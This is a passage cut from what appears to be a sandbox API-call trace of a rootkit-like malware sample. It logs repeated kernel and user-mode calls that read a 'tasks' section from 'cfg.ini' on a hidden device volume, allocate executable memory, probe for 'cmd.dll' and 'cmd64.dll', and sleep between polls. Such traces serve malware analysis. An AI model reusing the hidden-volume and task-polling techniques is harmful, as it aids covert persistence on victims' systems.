MemoryDescriptorList=0xfffffa8003baf190) [0124.459] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.459] IdePortDispatch () returned 0x103 [0124.460] KeWaitForMutexObject () returned 0x0 [0124.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.460] KeLeaveCriticalRegion () [0124.460] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.460] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.460] KeEnterCriticalRegion () [0124.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.460] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800355b000 [0124.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.460] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.460] IdePortDispatch () returned 0x103 [0124.460] KeWaitForMutexObject () returned 0x0 [0124.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.460] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.460] IdePortDispatch () returned 0x103 [0124.460] KeWaitForMutexObject () returned 0x0 [0124.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.460] KeLeaveCriticalRegion () [0124.460] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.461] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.461] KeEnterCriticalRegion () [0124.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.461] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.461] KeLeaveCriticalRegion () [0124.461] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.461] KeEnterCriticalRegion () [0124.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.461] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.461] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf17c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.461] KeLeaveCriticalRegion () [0124.461] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.461] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.461] KeEnterCriticalRegion () [0124.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.461] ExFreePoolWithTag (P=0xfffffa8003bf1010, Tag=0x0) [0124.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.461] KeLeaveCriticalRegion () [0124.461] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.461] ReleaseMutex (hMutex=0xf0) returned 1 [0124.461] Sleep (dwMilliseconds=0x927c0) [0124.475] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.475] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.475] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.475] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.475] KeEnterCriticalRegion () [0124.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.475] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.475] IdePortDispatch () returned 0x103 [0124.475] KeWaitForMutexObject () returned 0x0 [0124.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.475] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.475] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.475] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.475] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.475] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1f60 [0124.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.475] KeLeaveCriticalRegion () [0124.475] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.476] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.476] KeEnterCriticalRegion () [0124.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.476] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.476] KeLeaveCriticalRegion () [0124.476] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.476] KeEnterCriticalRegion () [0124.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.476] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.476] IdePortDispatch () returned 0x103 [0124.476] KeWaitForMutexObject () returned 0x0 [0124.476] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.476] KeLeaveCriticalRegion () [0124.476] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.476] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.476] KeEnterCriticalRegion () [0124.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.476] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003560000 [0124.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.476] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.476] IdePortDispatch () returned 0x103 [0124.476] KeWaitForMutexObject () returned 0x0 [0124.477] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.477] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.477] IdePortDispatch () returned 0x103 [0124.477] KeWaitForMutexObject () returned 0x0 [0124.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.477] KeLeaveCriticalRegion () [0124.477] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.477] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.477] KeEnterCriticalRegion () [0124.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.477] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.477] KeLeaveCriticalRegion () [0124.477] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.477] KeEnterCriticalRegion () [0124.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.478] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.478] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.478] KeLeaveCriticalRegion () [0124.478] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.478] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.478] KeEnterCriticalRegion () [0124.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.478] ExFreePoolWithTag (P=0xfffffa8003bf1f60, Tag=0x0) [0124.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.478] KeLeaveCriticalRegion () [0124.478] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.478] ReleaseMutex (hMutex=0xf0) returned 1 [0124.478] Sleep (dwMilliseconds=0x927c0) [0124.493] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.493] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.493] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.493] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.493] KeEnterCriticalRegion () [0124.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.493] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.493] IdePortDispatch () returned 0x103 [0124.493] KeWaitForMutexObject () returned 0x0 [0124.493] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.493] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.493] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.493] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.493] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.493] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.493] KeLeaveCriticalRegion () [0124.493] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.493] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.493] KeEnterCriticalRegion () [0124.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.493] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.493] KeLeaveCriticalRegion () [0124.493] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.494] KeEnterCriticalRegion () [0124.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.494] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.494] IdePortDispatch () returned 0x103 [0124.494] KeWaitForMutexObject () returned 0x0 [0124.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.494] KeLeaveCriticalRegion () [0124.494] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.494] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.494] KeEnterCriticalRegion () [0124.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003569000 [0124.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.494] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.494] IdePortDispatch () returned 0x103 [0124.494] KeWaitForMutexObject () returned 0x0 [0124.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.494] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.494] IdePortDispatch () returned 0x103 [0124.495] KeWaitForMutexObject () returned 0x0 [0124.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.495] KeLeaveCriticalRegion () [0124.495] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.495] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.495] KeEnterCriticalRegion () [0124.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.495] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.495] KeLeaveCriticalRegion () [0124.496] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.496] KeEnterCriticalRegion () [0124.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.496] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.496] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.496] KeLeaveCriticalRegion () [0124.496] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.496] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.496] KeEnterCriticalRegion () [0124.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.496] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.496] KeLeaveCriticalRegion () [0124.496] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.496] ReleaseMutex (hMutex=0xf0) returned 1 [0124.496] Sleep (dwMilliseconds=0x927c0) [0124.512] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.512] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.512] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.512] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.512] KeEnterCriticalRegion () [0124.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.512] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.512] IdePortDispatch () returned 0x103 [0124.512] KeWaitForMutexObject () returned 0x0 [0124.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.512] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.512] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.512] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.512] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.512] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1190 [0124.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.512] KeLeaveCriticalRegion () [0124.512] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.512] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.513] KeEnterCriticalRegion () [0124.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.513] KeLeaveCriticalRegion () [0124.513] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.513] KeEnterCriticalRegion () [0124.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.513] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.513] IdePortDispatch () returned 0x103 [0124.513] KeWaitForMutexObject () returned 0x0 [0124.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.513] KeLeaveCriticalRegion () [0124.513] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.513] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.513] KeEnterCriticalRegion () [0124.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.513] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800356e000 [0124.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.513] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.513] IdePortDispatch () returned 0x103 [0124.513] KeWaitForMutexObject () returned 0x0 [0124.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.514] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) 